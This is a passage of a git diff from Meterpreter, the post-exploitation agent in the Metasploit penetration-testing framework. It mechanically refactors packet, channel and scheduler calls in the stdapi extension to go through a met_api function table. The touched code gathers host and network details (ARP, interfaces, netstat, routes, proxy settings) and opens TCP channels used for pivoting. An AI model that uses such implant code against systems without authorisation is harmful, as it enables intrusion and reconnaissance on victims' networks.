TLV_TYPE_SEARCH_RECURSE); + options.bResursive = met_api->packet.get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE); if (!options.glob) { options.glob = L"*.*"; @@ -870,7 +871,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) if (pResponse) { - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } wds_shutdown(&WDSInterface); diff --git a/c/meterpreter/source/extensions/stdapi/server/general.c b/c/meterpreter/source/extensions/stdapi/server/general.c index fd6697f9..1da6945a 100644 --- a/c/meterpreter/source/extensions/stdapi/server/general.c +++ b/c/meterpreter/source/extensions/stdapi/server/general.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + extern DWORD request_audio_output_channel_open(Remote *remote, Packet *packet); extern DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet); extern DWORD request_net_tcp_server_channel_open(Remote *remote, Packet *packet); @@ -34,17 +36,16 @@ DWORD request_general_channel_open(Remote *remote, Packet *packet) do { // Get the requested channel type - channelType = packet_get_tlv_value_string(packet, - TLV_TYPE_CHANNEL_TYPE); + channelType = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE); // No channel? Lame. if (!channelType) + { break; + } // Enumerate the channel type dispatch table searching for a match - for (index = 0; - channel_open_handlers[index].type; - index++) + for (index = 0; channel_open_handlers[index].type; index++) { if (!strcmp(channel_open_handlers[index].type, channelType)) { diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c index 8915f74a..aa818666 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + DWORD get_arp_table(Remote *remote, Packet *response) { PMIB_IPNETTABLE pIpNetTable = NULL; @@ -49,7 +51,7 @@ DWORD get_arp_table(Remote *remote, Packet *response) arp[2].header.length = (DWORD)strlen(interface_index) + 1; arp[2].buffer = (PUCHAR)interface_index; - packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3); } } free(pIpNetTable); @@ -68,12 +70,12 @@ DWORD get_arp_table(Remote *remote, Packet *response) */ DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = get_arp_table(remote, response); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c index d4c0611b..c775a167 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -42,28 +43,28 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response) // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD)); - packet_add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD)); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD)); iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { - packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu); + met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu); if (iface.bDescr) { - packet_add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr); + met_api->packet.add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr); } } // Add the interface group - packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); + met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); } free(table); @@ -144,19 +145,19 @@ DWORD get_interfaces(Remote *remote, Packet *response) // Save the first prefix for later in case we don't have an OnLinkPrefixLength pPrefix = pCurr->FirstPrefix; - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex); dprintf("[INTERFACE] Adding MAC"); - packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength); + met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength); dprintf("[INTERFACE] Adding Description"); - packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description); + met_api->packet.add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description); dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu); - packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu); + met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu); for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress; pAddr; pAddr = pAddr->Next) @@ -191,24 +192,24 @@ DWORD get_interfaces(Remote *remote, Packet *response) dprintf("[INTERFACE] Adding Prefix: %x", prefix); // the UINT value is already byte-swapped, so we add it as a raw instead of // swizzling the bytes twice. - packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix)); } if (sockaddr->sa_family == AF_INET) { dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4); } else { dprintf("[INTERFACE] Adding IPv6 Address"); - packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16); - packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD)); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16); + met_api->packet.add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD)); } } // Add the interface group - packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); + met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); } out: @@ -222,13 +223,13 @@ out: */ DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; result = get_interfaces(remote, response); // Transmit the response if valid - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return result; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c index 6d8da23f..5076c431 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c @@ -1,5 +1,7 @@ #include "precomp.h" +#include "common_metapi.h" + // Note: both connection_entry and connection_table were moved from // common.h into here because: // 1) connection_table contains a zero-length array which causes all C++ @@ -564,12 +566,14 @@ DWORD get_connection_table(Remote *remote, Packet *response) connection[6].header.length = (DWORD)strlen((char*)current_connection->program_name) + 1; connection[6].buffer = (PUCHAR)(current_connection->program_name); - packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7); + met_api->packet.add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7); } dprintf("sent %d connections", table_connection->entries); if (table_connection) + { free(table_connection); + } return ERROR_SUCCESS; } @@ -579,12 +583,12 @@ DWORD get_connection_table(Remote *remote, Packet *response) */ DWORD request_net_config_get_netstat(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = get_connection_table(remote, response); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c index e5aa684f..8ec724dc 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" typedef struct { @@ -26,7 +27,7 @@ typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)( DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_NOT_SUPPORTED; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HMODULE hWinHttp = NULL; PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL; @@ -49,20 +50,20 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) break; } - packet_add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect); + met_api->packet.add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect); if (proxyConfig.lpszAutoConfigUrl) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl); GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl); } if (proxyConfig.lpszProxy) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy); GlobalFree((HGLOBAL)proxyConfig.lpszProxy); } if (proxyConfig.lpszProxyBypass) { - packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass); GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass); } @@ -74,7 +75,7 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) FreeLibrary(hWinHttp); } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c index 4b00495d..377e0f1b 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" DWORD add_remove_route(Packet *request, BOOLEAN add); @@ -7,7 +8,7 @@ DWORD add_remove_route(Packet *request, BOOLEAN add); */ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; DWORD index; DWORD metric_bigendian; @@ -62,7 +63,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) route[4].header.length = sizeof(DWORD); route[4].buffer = (PUCHAR)&metric_bigendian; - packet_add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE, + met_api->packet.add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE, route, 5); } @@ -73,7 +74,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) if(table_ipv6) free(table_ipv6); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -83,13 +84,13 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) */ DWORD request_net_config_add_route(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; result = add_remove_route(packet, TRUE); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -99,13 +100,13 @@ DWORD request_net_config_add_route(Remote *remote, Packet *packet) */ DWORD request_net_config_remove_route(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = add_remove_route(packet, FALSE); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -121,9 +122,9 @@ DWORD add_remove_route(Packet *packet, BOOLEAN add) LPCSTR netmask; LPCSTR gateway; - subnet = packet_get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING); - netmask = packet_get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING); - gateway = packet_get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING); + subnet = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING); + netmask = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING); + gateway = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING); memset(&route, 0, sizeof(route)); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/net.c b/c/meterpreter/source/extensions/stdapi/server/net/net.c index ea5c70d0..0511f5b0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/net.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/net.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -64,8 +65,8 @@ DWORD net_tlv_pack_local_addrinfo(SocketContext *sock_ctx, Packet *packet) return ERROR_OUTOFMEMORY; } - packet_add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost); - packet_add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport); + met_api->packet.add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost); + met_api->packet.add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport); free(localhost); localhost = NULL; return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c index 9b3fc44c..b8a7aeaf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -59,14 +60,14 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s DWORD request_resolve_host(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPCSTR hostname = NULL; struct in_addr addr; struct in6_addr addr6; u_short ai_family = AF_INET; int iResult; - hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); + hostname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); if (!hostname) { @@ -75,17 +76,17 @@ DWORD request_resolve_host(Remote *remote, Packet *packet) } else { - ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); + ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); iResult = resolve_host(hostname, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } - packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } else { @@ -93,19 +94,19 @@ DWORD request_resolve_host(Remote *remote, Packet *packet) } } - packet_transmit_response(iResult, remote, response); + met_api->packet.transmit_response(iResult, remote, response); return ERROR_SUCCESS; } DWORD request_resolve_hosts(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); Tlv hostname = {0}; int index = 0; int iResult; - u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); + u_short ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); - while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) + while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) { struct in_addr addr = {0}; struct in6_addr addr6 = {0}; @@ -116,19 +117,19 @@ DWORD request_resolve_hosts(Remote *remote, Packet *packet) { if (ai_family == AF_INET) { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { - packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } } else { dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult); - packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); + met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); } - packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } - packet_transmit_response(NO_ERROR, remote, response); + met_api->packet.transmit_response(NO_ERROR, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c index d3515908..94f19337 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c @@ -3,6 +3,7 @@ * @brief Definitions for functionality that handles TCP client operations. */ #include "precomp.h" +#include "common_metapi.h" #include "tcp.h" /*! @@ -119,7 +120,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context free_tcp_client_context(ctx); // Set the native channel operations context to NULL - channel_set_native_io_context(channel, NULL); + met_api->channel.set_native_io_context(channel, NULL); } return ERROR_SUCCESS; @@ -187,7 +188,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead); // Set the native channel operations context to NULL - channel_set_native_io_context(ctx->channel, NULL); + met_api->channel.set_native_io_context(ctx->channel, NULL); // Sleep for a quarter second Sleep(250); @@ -203,7 +204,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) if (ctx->channel) { dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead); - channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0); + met_api->channel.write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0); } else { @@ -230,7 +231,7 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) { Channel *channel = NULL; TcpClientContext *ctx = NULL; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; LPCSTR host; DWORD port; @@ -244,8 +245,8 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) } // Extract the hostname and port that we are to connect to - host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); - port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); + host = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); + port = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); // Open the TCP channel if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel, &ctx)) != ERROR_SUCCESS) @@ -254,13 +255,13 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) } // Set the channel's identifier on the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(channel)); net_tlv_pack_local_addrinfo(ctx, response); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -355,7 +356,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort); // Allocate an uninitialized channel for associated with this connection - if (!(channel = channel_create_stream(0, 0, &chops))) + if (!(channel = met_api->channel.create_stream(0, 0, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; @@ -372,7 +373,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE); dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify); - scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); + met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); } } while (0); @@ -426,7 +427,7 @@ VOID free_socket_context(SocketContext *ctx) if (ctx->channel) { - channel_close(ctx->channel, ctx->remote, NULL, 0, NULL); + met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL); ctx->channel = NULL; } @@ -434,7 +435,7 @@ VOID free_socket_context(SocketContext *ctx) { dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify); // The scheduler calls CloseHandle on our WSACreateEvent() for us - scheduler_signal_waitable(ctx->notify, Stop); + met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop); ctx->notify = NULL; } @@ -462,16 +463,16 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) do { dprintf("[TCP] entering request_net_socket_tcp_shutdown"); - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } - cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); + cid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + how = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); - channel = channel_find_by_id(cid); + channel = met_api->channel.find_by_id(cid); if (!response) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE); @@ -479,7 +480,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid); - ctx = channel_get_native_io_context(channel); + ctx = met_api->channel.get_native_io_context(channel); if (!ctx) { BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE); @@ -498,7 +499,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); dprintf("[TCP] leaving request_net_socket_tcp_shutdown"); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c index 66b39d9d..2025e1c1 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c @@ -3,6 +3,7 @@ * @brief */ #include "precomp.h" +#include "common_metapi.h" #include "tcp.h" #include @@ -40,13 +41,13 @@ VOID free_tcp_server_context(TcpServerContext * ctx) if (ctx->channel) { - channel_close(ctx->channel, ctx->remote, NULL, 0, NULL); + met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL); ctx->channel = NULL; } if (ctx->notify) { - scheduler_signal_waitable(ctx->notify, Stop); + met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop); ctx->notify = NULL; } @@ -84,7 +85,7 @@ DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID conte free_tcp_server_context(ctx); // Set the native channel operations context to NULL - channel_set_native_io_context(channel, NULL); + met_api->channel.set_native_io_context(channel, NULL); } while (0); @@ -138,13 +139,13 @@ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx chops.native.write = tcp_channel_client_write; chops.native.close = tcp_channel_client_close; - clientctx->channel = channel_create_stream(0, 0, &chops); + clientctx->channel = met_api->channel.create_stream(0, 0, &chops); if (!clientctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE); } - dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); + dwResult = met_api->scheduler.insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); } while (0); @@ -204,7 +205,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); } - dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock); + dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", met_api->channel.get_id(serverCtx->channel), sock); clientctx = tcp_channel_server_create_client(serverCtx, sock); if (!clientctx) @@ -245,20 +246,20 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); - request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); + request = met_api->packet.create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); if (!request) { - BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. met_api->packet.create failed", ERROR_INVALID_HANDLE); } - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel)); - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel)); - packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); - packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); - packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); - packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); + met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(clientctx->channel)); + met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, met_api->channel.get_id(serverCtx->channel)); + met_api->packet.add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); + met_api->packet.add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); + met_api->packet.add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); + met_api->packet.add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); - dwResult = packet_transmit(serverCtx->remote, request, NULL); + dwResult = met_api->packet.transmit(serverCtx->remote, request, NULL); } while (0); @@ -284,7 +285,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, 